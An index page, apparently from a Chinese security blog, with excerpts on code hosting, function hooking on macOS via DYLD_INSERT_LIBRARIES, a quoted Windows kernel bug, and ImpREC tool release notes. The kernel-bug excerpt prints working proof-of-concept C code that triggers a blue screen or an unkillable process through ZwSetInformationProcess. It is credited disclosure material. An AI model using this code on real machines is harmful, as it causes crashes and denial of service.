Open Sources

code

至于开源的东西,其实自己也蛮想做的。但是苦于技术水平不够,所以一直也没什么东西公布。刚开始的时候代码都是托管在Googlecode, 后来迁移到了github,但是苦于github不能创建私有项目,于是最后选择了bitbucket上,另外一个好处是可以绑定域名。于是以后有代码公布的话,可以访问这个网址访问http://code.h4ck.org.cn

Continue Reading

Hooking library calls on Mac using DYLD_INSERT_LIBRARIES

QQ20130410-1
Mac offers a way to override functions in a shared library with DYLD_INSERT_LIBRARIES environment variable (which is similar to LD_PRELOAD on Linux). When you make a twin brother of a function that is defined in an existing shared library, put it in you a shared library, and you register your shared library name in DYLD_INSERT_LIBRARIES, your function is used instead of the original one. This is my simple test. Here I’ve replaced f() in mysharedlib.dylib with f() in openhook.dylib.

Continue Reading

ProcessIoPriority Bug (BSOD/Non-Killable Process)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//http://waleedassar.blogspot.com
//http://www.twitter.com/waleedassar
 
BSOD:
#define ProcessIoPriority               0x21
int main()
{
    unsigned long val=0xFFFFFFFF;
    int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
    if(ret<0) printf("Error %x\r\n",ret);
    ExitProcess(0);
    return 0;
}
 
Non-Killable Process:
 
#define ProcessIoPriority               0x21
int main()
{
    unsigned long val=0x8000F129;
    int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
    if(ret<0) printf("Error %x\r\n",ret);
    ExitProcess(0);
    return 0;
}

Description:
With the “ProcessInformationClass” parameter set to ProcessIoPriority 0x21, passing certain signed values e.g. 0xFFFFFFFF or 0x8000F129 in the variable pointed to by the “ProcessInformation” parameter to the ntdll “ZwSetInformationProcess” function can be abused to arbitrarily set certain bit flags of the corresponding “_EPROCESS” structure e.g. DefaultIoPriority: Pos 27, ProcessSelfDelete : Pos 30, or SetTimerResolutionLink: Pos 31.

Link:http://waleedassar.blogspot.tw/2013/02/kernel-bug-1-processiopriority.html

Continue Reading

ImpREC lite v11 Source Code(Share)

News:
—–
ImpREC is back to public. This version can now support Windows 95 (Thanks to EliCZ,
Unknown One and ZigD for testing).
It has also been redesigned to support more import rebuilding schemes (relative calls for
example). The plugin interface has changed completely (using filemapping) and now supports
the ‘Exact Call’ feature. This last one has been linked with the ‘Create New IAT’. It will
be useful for all mangled schemes which annihilate completely or partially the IAT. The
‘AutoTrace’ is more stable because it will not use the Tracer Level2 anymore. A built-in
coloured disassembler/hew-viewer will help you to watch the redirected code. Then you
should not need the ASProtect plugin because of no more updates but it still is there as
example. Please take a look at <History.txt> for all details.

I hope you will enjoy this version like i did to make it,
Regards,

MackT/uCF.

v1.6 FINAL (PUBLIC VERSION)
—————————

– Misc

– Finally fixed the bug in the check for adding section (Thanks to Christoph)

v1.6 beta *PRIVATE*
——————-
– Tracers
– Tracer Level3
– Added EIP Log
– Misc
– Finally, support relative calls rebuild (not with the loader yet)
– Added a disassembler window for redirected code
– Added colour to all known imports (Thanks to Jeff Schering)
– Added a hex viewer (built with the disassembler)
– Fixed blink in RichEdit control
– Checkbox “OpCodes” is enable/disable depending on “Hex View”
(Thanks to Muffin)

Continue Reading